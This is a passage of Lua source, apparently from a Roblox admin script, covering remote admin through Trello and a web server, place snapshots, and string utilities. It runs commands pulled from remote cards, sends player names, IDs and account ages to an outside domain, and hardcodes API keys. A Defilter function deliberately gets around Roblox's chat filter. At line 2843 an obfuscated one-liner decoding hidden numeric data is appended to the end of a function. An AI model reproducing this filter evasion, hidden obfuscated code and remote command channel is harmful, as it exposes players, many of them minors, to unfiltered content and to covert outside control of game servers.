2187 | if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then | |
2188 | REMOTE:SendServerData() | |
2189 | end | |
2190 | if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then | |
2191 | REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true) | |
2192 | end | |
2193 | end | |
2194 | ||
2195 | if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then | |
2196 | ||
2197 | for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end | |
2198 | for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end | |
2199 | for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end | |
2200 | for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end | |
2201 | for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end | |
2202 | for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end | |
2203 | ||
2204 | Settings.Fun = Request.FUN | |
2205 | Settings.ServerLocked = Request.ServerLocked | |
2206 | ||
2207 | if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then | |
2208 | Settings.DisableAbuse = Request.DisableAbuse | |
2209 | end | |
2210 | ||
2211 | if not IgnoreCommand then | |
2212 | print("Executing Remote Admin") | |
2213 | REMOTE.RemoteAdmin.Command = Request.Command | |
2214 | REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand | |
2215 | REMOTE.RemoteAdmin.ServerPort = Request.Server | |
2216 | ||
2217 | if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then | |
2218 | CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true) | |
2219 | else | |
2220 | CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true) | |
2221 | end | |
2222 | end | |
2223 | end | |
2224 | REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp | |
2225 | REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp | |
2226 | REMOTE.SnapshotKey = Request.SnapshotKey | |
2227 | end | |
2228 | ||
2229 | function REMOTE:GetRemoteData(Set) | |
2230 | local NewRemoteData = nil | |
2231 | local RemoteDataCardRaw = nil | |
2232 | local RemoteDataCard = nil | |
2233 | ||
2234 | RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard) | |
2235 | if RemoteDataCardRaw then | |
2236 | ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end) | |
2237 | if RemoteDataCard then | |
2238 | ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end) | |
2239 | end | |
2240 | end | |
2241 | if Set and NewRemoteData then | |
2242 | RemoteData = NewRemoteData | |
2243 | end | |
2244 | return NewRemoteData | |
2245 | end | |
2246 | ||
2247 | function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard | |
2248 | local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard) | |
2249 | if InfoCardJSON then | |
2250 | ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end) | |
2251 | if InfoCard then | |
2252 | ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end) | |
2253 | if TrelloInfo then | |
2254 | for Ind,Val in pairs(TrelloInfo) do | |
2255 | Trello[Ind] = Val | |
2256 | end | |
2257 | end | |
2258 | end | |
2259 | end | |
2260 | return NewRemoteData | |
2261 | end | |
2262 | ||
2263 | function REMOTE:CheckRemoteAdminStatus() | |
2264 | local Pending = false | |
2265 | local CheckID = 0 | |
2266 | if Settings.LinkedAccount ~= "" then | |
2267 | local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist) | |
2268 | if Request then | |
2269 | local Data = REMOTE:Decode(Request) | |
2270 | if Data then | |
2271 | for _,Account in pairs(Data.checkItems) do | |
2272 | if Account.name == Settings.LinkedAccount then | |
2273 | Pending = true | |
2274 | CheckID = Account.id | |
2275 | break | |
2276 | end | |
2277 | end | |
2278 | end | |
2279 | end | |
2280 | end | |
2281 | return Pending, CheckID | |
2282 | end | |
2283 | ||
2284 | function REMOTE:GetAndSetWebData() | |
2285 | if Settings.LinkedAccount ~= "" then | |
2286 | if REMOTE:CheckRemoteAdminStatus() then | |
2287 | local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount) | |
2288 | if Request == "Invalid" then | |
2289 | --REMOTE:GetAndSetWebData() | |
2290 | return false | |
2291 | elseif Request == "Invalid Account" then | |
2292 | print("Can't get account") | |
2293 | return false | |
2294 | elseif Request then | |
2295 | ypcall(function() Request = REMOTE:Decode(Request) end) | |
2296 | elseif not Request then | |
2297 | --REMOTE:GetAndSetWebData() | |
2298 | return false | |
2299 | end | |
2300 | REMOTE:HandleRequest(Request) | |
2301 | ||
2302 | --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData) | |
2303 | Delay(RemoteData.RemoteAdminWait, function() | |
2304 | local Pending, CheckID = REMOTE:CheckRemoteAdminStatus() | |
2305 | if Pending then | |
2306 | REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID) | |
2307 | end | |
2308 | end) | |
2309 | return true | |
2310 | else | |
2311 | return true | |
2312 | end | |
2313 | end | |
2314 | end | |
2315 | ||
2316 | local OderIDs = CORE:GetTable(177215518) | |
2317 | local SoundJSONs = CORE:GetTable(197637628) | |
2318 | RemoteAbuseGear = CORE:GetTable(158117496) | |
2319 | ||
2320 | function REMOTE:SendServerData(PrintResponse, Stopypall) | |
2321 | if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then | |
2322 | print("Sending server data!") | |
2323 | local Res = "Could not get response" | |
2324 | ||
2325 | local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value} | |
2326 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2327 | table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)}) | |
2328 | end | |
2329 | ServerData = Server.HS:JSONEncode(ServerData) | |
2330 | ||
2331 | local function SendData() | |
2332 | Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2) | |
2333 | end | |
2334 | if Stopypcall == true then SendData() else ypcall(SendData) end | |
2335 | if PrintResponse then print(Res) end | |
2336 | end | |
2337 | end | |
2338 | ||
2339 | function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall) | |
2340 | MaxPartAmount = MaxPartAmount or 10000 | |
2341 | local PlaceData = { | |
2342 | Lighting = {}; | |
2343 | Parts = {}; | |
2344 | Other = {}; | |
2345 | } | |
2346 | local MinSize = Vector3.new(0.5,0.5,0.5) | |
2347 | local PartAmount = 0 | |
2348 | local PlaceJSON = "" | |
2349 | ||
2350 | local function Scan(BaseObj) | |
2351 | for _,Obj in pairs(BaseObj:GetChildren()) do | |
2352 | if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then | |
2353 | local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)}; | |
2354 | if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then | |
2355 | local Skip = false | |
2356 | local Data = {} | |
2357 | local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ() | |
2358 | ||
2359 | if CORE:FindType(Obj, "BlockMesh") then | |
2360 | local Mesh = CORE:FindType(Obj, "BlockMesh") | |
2361 | Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)} | |
2362 | elseif CORE:FindType(Obj, "CylinderMesh") then | |
2363 | Data.Shape = "Cylinder" | |
2364 | elseif CORE:FindType(Obj, "SpecialMesh") then | |
2365 | local Mesh = CORE:FindType(Obj, "SpecialMesh") | |
2366 | if Mesh.MeshType == Enum.MeshType.Head then | |
2367 | --idk | |
2368 | else | |
2369 | Skip = true | |
2370 | end | |
2371 | elseif CORE:FindType(Obj, "FileMesh") then | |
2372 | Skip = true | |
2373 | end | |
2374 | ||
2375 | if not Data.Shape and not Skip then | |
2376 | if ypcall(function() return Obj.Shape end) then | |
2377 | Data.Shape = string.sub(Obj.Shape.Name,14) | |
2378 | if string.sub(Data.Shape,1,1) == "." then | |
2379 | Data.Shape = string.sub(Data.Shape,2) | |
2380 | end | |
2381 | if Data.Shape == "Cylinder" then | |
2382 | Z = Z + math.pi/2 | |
2383 | end | |
2384 | else | |
2385 | Data.Shape = "Block" | |
2386 | end | |
2387 | end | |
2388 | ||
2389 | if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then | |
2390 | Data.Label = string.gsub(Obj.Parent.Name, "'", "") | |
2391 | end | |
2392 | ||
2393 | if not Skip then | |
2394 | Data.Color = GUI:Color3ToHex(Obj.Color); | |
2395 | Data.Size = Size; | |
2396 | Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)}; | |
2397 | Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)}; | |
2398 | Data.Transparency = STRING:StringRound(Obj.Transparency); | |
2399 | Data.Reflectance = STRING:StringRound(Obj.Reflectance); | |
2400 | Data.Textures = {}; | |
2401 | Data.Material = string.sub(tostring(Obj.Material),15); | |
2402 | ||
2403 | for _,Sub in pairs(Obj:GetChildren()) do | |
2404 | if Sub:IsA("Decal") then | |
2405 | local Texture = string.match(Sub.Texture, "%d+") | |
2406 | if Sub.Texture == "rbxasset://textures/face.png" then | |
2407 | Texture = "FACE" | |
2408 | end | |
2409 | Data.Textures[FaceCovert[Sub.Face.Name]] = Texture | |
2410 | end | |
2411 | end | |
2412 | ||
2413 | PartAmount = PartAmount + 1 | |
2414 | table.insert(PlaceData.Parts, Data) | |
2415 | ||
2416 | if PartAmount >= MaxPartAmount then | |
2417 | break | |
2418 | end | |
2419 | end | |
2420 | end | |
2421 | end | |
2422 | if #Obj:GetChildren() > 0 then | |
2423 | Scan(Obj) | |
2424 | end | |
2425 | end | |
2426 | end | |
2427 | Scan(Workspace) | |
2428 | ||
2429 | PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient) | |
2430 | PlaceData.Other.PartAmount = PartAmount; | |
2431 | PlaceJSON = Server.HS:JSONEncode(PlaceData) | |
2432 | ||
2433 | local Res = "Could not get response" | |
2434 | local function SendData() | |
2435 | Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2) | |
2436 | end | |
2437 | if Stopypcall == true then SendData() else ypcall(SendData) end | |
2438 | if PrintResponse then print(Res) end | |
2439 | ||
2440 | print("Sent snapshot") | |
2441 | end | |
2442 | ||
2443 | ||
2444 | function REMOTE:DefineWord(Word, Source) | |
2445 | if not Word then return end | |
2446 | if not Source then Source = "all" end | |
2447 | ||
2448 | local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5") | |
2449 | if Response then | |
2450 | local Decode = REMOTE:Decode(Response) | |
2451 | if #Decode > 0 then | |
2452 | return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[ | |
2453 | ||
2454 | ]]..Decode[1]["text"] | |
2455 | else | |
2456 | return "Invalid English word" | |
2457 | end | |
2458 | else | |
2459 | return "Cannot connect to database" | |
2460 | end | |
2461 | end | |
2462 | ||
2463 | function REMOTE:DownloadJoke(Speaker) | |
2464 | local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker) | |
2465 | local Joke = nil | |
2466 | if Res then | |
2467 | local _, Start = string.find(Res, "</h2>") | |
2468 | local End, _ = string.find(string.sub(Res, Start), "</td>") | |
2469 | ||
2470 | Joke = string.sub(Res, Start, End + 1 + Start - 5) | |
2471 | Joke = string.gsub(Joke, "\n", "") | |
2472 | Joke = string.gsub(Joke, " ", "") -- tab | |
2473 | Joke = string.gsub(Joke, "</ul>", "") | |
2474 | Joke = string.gsub(Joke, "<ul>", "") | |
2475 | Joke = string.gsub(Joke, "</li>", [[ | |
2476 | ||
2477 | ]]) | |
2478 | Joke = string.gsub(Joke, "<li>", "") | |
2479 | Joke = string.gsub(Joke, "</p>", "") | |
2480 | Joke = string.gsub(Joke, "<p>", "") | |
2481 | Joke = string.gsub(Joke, "<", "") | |
2482 | Joke = string.gsub(Joke, ">", "") | |
2483 | end | |
2484 | ||
2485 | return Joke | |
2486 | end | |
2487 | ||
2488 | function REMOTE:GetAddon() | |
2489 | return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken | |
2490 | end | |
2491 | ||
2492 | function REMOTE:TrelloGetAdminBoard() | |
2493 | local BoardsJSON,Boards,ReturnBoard | |
2494 | ||
2495 | ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end) | |
2496 | ||
2497 | if BoardsJSON then | |
2498 | Boards = REMOTE:Decode(BoardsJSON) | |
2499 | end | |
2500 | if Boards then | |
2501 | for _,Board in pairs(Boards) do | |
2502 | if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then | |
2503 | ReturnBoard = Board | |
2504 | break | |
2505 | end | |
2506 | end | |
2507 | if not ReturnBoard then -- create board if not created | |
2508 | print("Creating Trello Board") | |
2509 | local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3" | |
2510 | local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded") | |
2511 | ReturnBoard = REMOTE:Decode(BoardJSON) | |
2512 | end | |
2513 | end | |
2514 | return ReturnBoard | |
2515 | end | |
2516 | ||
2517 | function REMOTE:TrelloGetAdminLists(Board) | |
2518 | local Required = {} | |
2519 | local ListJSON,Lists | |
2520 | local ReturnLists = {} | |
2521 | ||
2522 | for _,List in pairs(Trello.RequiredLists) do | |
2523 | table.insert(Required, List) | |
2524 | end | |
2525 | ||
2526 | ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end) | |
2527 | ||
2528 | if ListJSON then | |
2529 | Lists = REMOTE:Decode(ListJSON) | |
2530 | end | |
2531 | if Lists then | |
2532 | for _,List in pairs(Lists) do | |
2533 | for Num,Rel in pairs(Required) do | |
2534 | if List.name == Rel.name then | |
2535 | table.remove(Required, Num) | |
2536 | table.insert(ReturnLists, List) | |
2537 | end | |
2538 | end | |
2539 | end | |
2540 | for _,Rel in pairs(Required) do | |
2541 | local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded") | |
2542 | table.insert(ReturnLists, REMOTE:Decode(ListJSON)) | |
2543 | end | |
2544 | end | |
2545 | ||
2546 | return ReturnLists | |
2547 | end | |
2548 | ||
2549 | function REMOTE:TrelloCacheData(Lists) | |
2550 | for _,List in pairs(Lists) do | |
2551 | local CardsJSON,Cards | |
2552 | ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end) | |
2553 | if CardsJSON then | |
2554 | Cards = REMOTE:Decode(CardsJSON) | |
2555 | end | |
2556 | if Cards then | |
2557 | local TemplateCards = nil | |
2558 | for _,TemplateList in pairs(Trello.RequiredLists) do | |
2559 | if TemplateList.name == List.name then | |
2560 | TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true)) | |
2561 | break | |
2562 | end | |
2563 | end | |
2564 | ||
2565 | for _,TemplateCard in pairs(TemplateCards) do | |
2566 | local CardExists = false | |
2567 | for _,Card in pairs(Cards) do | |
2568 | if Card.name == TemplateCard.name and Card.closed == false then | |
2569 | CardExists = true | |
2570 | end | |
2571 | end | |
2572 | if not CardExists then | |
2573 | print("Creating card "..TemplateCard.name) | |
2574 | local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded") | |
2575 | table.insert(Cards, REMOTE:Decode(NewCardJSON)) | |
2576 | end | |
2577 | end | |
2578 | ||
2579 | if List.name == "Ranked" then | |
2580 | for _,Card in pairs(Cards) do | |
2581 | if Settings.Ranks[Card.name] and Card.closed == false then | |
2582 | Trello.RankChecklistCache[Card.name] = Card.idChecklists[1] | |
2583 | end | |
2584 | end | |
2585 | elseif List.name == "Settings" then | |
2586 | for _,Card in pairs(Cards) do | |
2587 | if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then | |
2588 | Trello.ToggleChecklist = Card.idChecklists[1] | |
2589 | elseif Card.name == "Command Execution" then | |
2590 | Trello.CommandID = Card.id | |
2591 | end | |
2592 | end | |
2593 | end | |
2594 | end | |
2595 | end | |
2596 | end | |
2597 | ||
2598 | function REMOTE:TrelloHandleData(IgnoreCommand) | |
2599 | local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true) | |
2600 | if ToggleSettingsJSON then | |
2601 | ToggleSettings = REMOTE:Decode(ToggleSettingsJSON) | |
2602 | if Settings.LinkedAccount == "" then | |
2603 | local NewSettings = {} | |
2604 | for _,Item in pairs(ToggleSettings.checkItems) do | |
2605 | NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state) | |
2606 | end | |
2607 | Settings.Fun = NewSettings["Fun Commands Enabled"] | |
2608 | Settings.ServerLocked = NewSettings["Server Locked"] | |
2609 | Settings.DisableAbuse = NewSettings["Disable Abusive Commands"] | |
2610 | end | |
2611 | else | |
2612 | return false | |
2613 | end | |
2614 | ||
2615 | local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true) | |
2616 | if CommandChatJSON then | |
2617 | CommandChat = REMOTE:Decode(CommandChatJSON) | |
2618 | local ClosestDT = 0 | |
2619 | for _,ChatData in pairs(CommandChat) do | |
2620 | local DT = STRING:ConvertDateTime(ChatData.date) | |
2621 | ClosestDT = math.max(ClosestDT, DT) | |
2622 | ||
2623 | if not IgnoreCommand and DT > Trello.LastCommandDT then | |
2624 | print("Executing Remote Trello Command") | |
2625 | CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true) | |
2626 | end | |
2627 | end | |
2628 | Trello.LastCommandDT = ClosestDT | |
2629 | else | |
2630 | return false | |
2631 | end | |
2632 | ||
2633 | for Rank,ID in pairs(Trello.RankChecklistCache) do | |
2634 | local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true) | |
2635 | if ChecklistJSON then | |
2636 | Checklist = REMOTE:Decode(ChecklistJSON) | |
2637 | ||
2638 | for _,Item in pairs(Checklist.checkItems) do | |
2639 | if Item.state == "complete" then | |
2640 | if RANK:ConvertRank(Rank) < 0 then | |
2641 | if not RANK:ScanExileList(Item.name) then | |
2642 | table.insert(Settings.Ranks[Rank], Item.name) | |
2643 | end | |
2644 | elseif RANK:ConvertRank(Rank) > 0 then | |
2645 | if not RANK:ScanAdminList(Item.name) then | |
2646 | table.insert(Settings.Ranks[Rank], Item.name) | |
2647 | end | |
2648 | end | |
2649 | elseif Item.state == "incomplete" then | |
2650 | for Num,Name in pairs(Settings.Ranks[Rank]) do | |
2651 | if string.lower(Name) == string.lower(Item.name) then | |
2652 | table.remove(Settings.Ranks[Rank], Num) | |
2653 | end | |
2654 | end | |
2655 | end | |
2656 | end | |
2657 | else | |
2658 | return false | |
2659 | end | |
2660 | end | |
2661 | return true | |
2662 | end | |
2663 | ||
2664 | -- String functions -- | |
2665 | ||
2666 | function STRING:ConvertDateTime(DateTime) | |
2667 | local Num = 0 | |
2668 | local TotalTime = 0 | |
2669 | for i in string.gmatch(DateTime, "%d+") do | |
2670 | Num = Num + 1 | |
2671 | DTNum = tonumber(i) | |
2672 | if Num == 1 then | |
2673 | TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year | |
2674 | elseif Num == 2 then | |
2675 | TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month | |
2676 | elseif Num == 3 then | |
2677 | TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day | |
2678 | elseif Num == 4 then | |
2679 | TotalTime = TotalTime + DTNum * 60 * 60 -- hour | |
2680 | elseif Num == 5 then | |
2681 | TotalTime = TotalTime + DTNum * 60 -- minute | |
2682 | elseif Num == 6 then | |
2683 | TotalTime = TotalTime + DTNum -- second | |
2684 | end | |
2685 | end | |
2686 | ||
2687 | return TotalTime | |
2688 | end | |
2689 | ||
2690 | function STRING:TrelloStateConvert(State) | |
2691 | if State == "complete" then | |
2692 | return true | |
2693 | else | |
2694 | return false | |
2695 | end | |
2696 | end | |
2697 | ||
2698 | function STRING:StringRound(Number) | |
2699 | Number = Number * 100 | |
2700 | if Number >= 0.5 then | |
2701 | return tostring(math.ceil(Number)/100) | |
2702 | else | |
2703 | return tostring(math.floor(Number)/100) | |
2704 | end | |
2705 | ||
2706 | return Number | |
2707 | end | |
2708 | ||
2709 | function STRING:GetSplit(String, NumArgs, BetSplit) | |
2710 | if not String then return nil end | |
2711 | if BetSplit == nil then BetSplit = " " end | |
2712 | if NumArgs == nil then NumArgs = math.huge end | |
2713 | ||
2714 | if NumArgs <= 0 then return {String} end | |
2715 | ||
2716 | local RecentParse = 1 | |
2717 | local Args = {} | |
2718 | for i = 1,NumArgs do | |
2719 | local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse) | |
2720 | if Find1 and Find2 then | |
2721 | table.insert(Args, string.sub(String,RecentParse,Find1 - 1)) | |
2722 | RecentParse = Find2 + 1 | |
2723 | else | |
2724 | break | |
2725 | end | |
2726 | end | |
2727 | table.insert(Args,string.sub(String,RecentParse,#String)) | |
2728 | return Args | |
2729 | end | |
2730 | ||
2731 | function STRING:Defilter(String) | |
2732 | local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String | |
2733 | if RobloxApprove.Text == "Label" and String ~= "Label" then | |
2734 | local NewString = "" | |
2735 | for i = 1,#String,3 do | |
2736 | NewString = NewString..string.char(169)..string.sub(String,i,i+2) | |
2737 | end | |
2738 | return NewString | |
2739 | else | |
2740 | return String | |
2741 | end | |
2742 | end | |
2743 | ||
2744 | function STRING:Filter(String, From, To) -- #### you, roblox | |
2745 | if From then | |
2746 | if To then | |
2747 | return game:GetService("Chat"):FilterStringAsync(String, From, To) | |
2748 | else | |
2749 | return game:GetService("Chat"):FilterStringForBroadcast(String, From) | |
2750 | end | |
2751 | else | |
2752 | return String | |
2753 | end | |
2754 | end | |
2755 | ||
2756 | function STRING:DetermineFilter(String, From, To) | |
2757 | if ShouldFilter then | |
2758 | return STRING:Filter(String, From, To) | |
2759 | else | |
2760 | return STRING:Defilter(String) | |
2761 | end | |
2762 | end | |
2763 | ||
2764 | function STRING:LeetSpeak(Input) | |
2765 | if tostring(Input) then Input = string.upper(tostring(Input)) else return end | |
2766 | Input = string.gsub(Input, "LEET", "1337") | |
2767 | Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA") | |
2768 | Input = string.gsub(Input, "E", "3") | |
2769 | Input = string.gsub(Input, "O", "0") | |
2770 | Input = string.gsub(Input, "A", "4") | |
2771 | Input = string.gsub(Input, "X", "x") | |
2772 | Input = string.gsub(Input, "I", "1") | |
2773 | Input = string.gsub(Input, "S", "$") | |
2774 | return Input | |
2775 | end | |
2776 | ||
2777 | function STRING:FormatReplace(Player, Input, From) | |
2778 | local Output = Input | |
2779 | for _,ReplaceData in pairs(StringReplacements) do | |
2780 | local ReplaceString = ReplaceData[1] | |
2781 | local ReplaceStrings = {} | |
2782 | if type(ReplaceString) == "table" then | |
2783 | ReplaceStrings = ReplaceString | |
2784 | else | |
2785 | ReplaceStrings = {ReplaceString} | |
2786 | end | |
2787 | for _,ReplaceString in pairs(ReplaceStrings) do | |
2788 | if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player | |
2789 | local Replacement = ReplaceData[4](Player) | |
2790 | if type(Replacement) == "string" then | |
2791 | Output = string.gsub(Output, ReplaceString, Replacement) | |
2792 | else | |
2793 | print(ReplaceString.." cannot be replaced") | |
2794 | end | |
2795 | end | |
2796 | end | |
2797 | end | |
2798 | if From then | |
2799 | return STRING:DetermineFilter(Output, From, Player) | |
2800 | else | |
2801 | return STRING:DetermineFilter(Output, Player) | |
2802 | end | |
2803 | end | |
2804 | ||
2805 | function STRING:EncodeSpecialChars(Input) | |
2806 | return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " ")) | |
2807 | end | |
2808 | ||
2809 | function STRING:StringToBool(String) | |
2810 | if String == "true" then | |
2811 | return true | |
2812 | else | |
2813 | return false | |
2814 | end | |
2815 | end | |
2816 | ||
2817 | function STRING:BoolString(Value) | |
2818 | if type(Value) == "boolean" then | |
2819 | if Value == true then | |
2820 | return "YES" | |
2821 | elseif Value == false then | |
2822 | return "NO" | |
2823 | end | |
2824 | else | |
2825 | return "NO" | |
2826 | end | |
2827 | end | |
2828 | ||
2829 | function STRING:MakeAvoidance(Length) | |
2830 | if not Length then | |
2831 | Length = 32 | |
2832 | end | |
2833 | local Avoidance = "" | |
2834 | for i = 1,Length do | |
2835 | Num = math.random(1,2) | |
2836 | if Num == 1 then | |
2837 | Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9 | |
2838 | else | |
2839 | Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z | |
2840 | end | |
2841 | end | |
2842 | return Avoidance | |
2843 | end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end | |
2844 | ||
2845 | function STRING:FindAge(Days) -- By LuaModelmaker | |
2846 | local Years = math.floor(Days/365) | |
2847 | local OtherDays = math.fmod(Days, 365) | |
2848 | if Years > 1 then | |
2849 | return Years.." years and "..OtherDays.." days" | |
2850 | elseif Years == 1 then | |
2851 | return Years.." year and "..OtherDays.." days" | |
2852 | elseif Years == 0 then | |
2853 | return "(No years) "..OtherDays.." days" | |
2854 | end | |
2855 | end | |
2856 | ||
2857 | function STRING:UnpackArgs(...) | |
2858 | local Pack = {...} | |
2859 | if type(Pack[1]) == "table" then Pack = Pack[1] end | |
2860 | local ReturnString = table.concat(Pack, ", ") | |
2861 | return ReturnString | |
2862 | end | |
2863 | ||
2864 | function STRING:GetComma(Num) | |
2865 | local Formatted = Num | |
2866 | while true do | |
2867 | Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2') | |
2868 | if _ == 0 then | |
2869 | break | |
2870 | end | |
2871 | end | |
2872 | return Formatted | |
2873 | end | |
2874 | ||
2875 | function STRING:DecodeUTF8(Value) | |
2876 | local function DecodeString(Input) | |
2877 | if type(Input) == "string" then | |
2878 | for Find,Rep in pairs(HTMLDecode) do | |
2879 | Input = string.gsub(Input, "&#"..Find..";", Rep) | |
2880 | end | |
2881 | Input = string.gsub(Input, """, "'") | |
2882 | end | |
2883 | return Input | |
2884 | end | |
2885 | if type(Value) == "table" then | |
2886 | for Index,Var in pairs(Value) do | |
2887 | Value[Index] = DecodeString(Var) | |
2888 | end | |
2889 | elseif type(Value) == "string" then | |
2890 | Value = DecodeString(Value) | |
2891 | end | |
2892 | return Value | |
2893 | end | |
2894 | ||
2895 | function STRING:IsSpacer(Input) | |
2896 | if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then | |
2897 | return true | |
2898 | else | |
2899 | return false | |
2900 | end | |
2901 | end | |
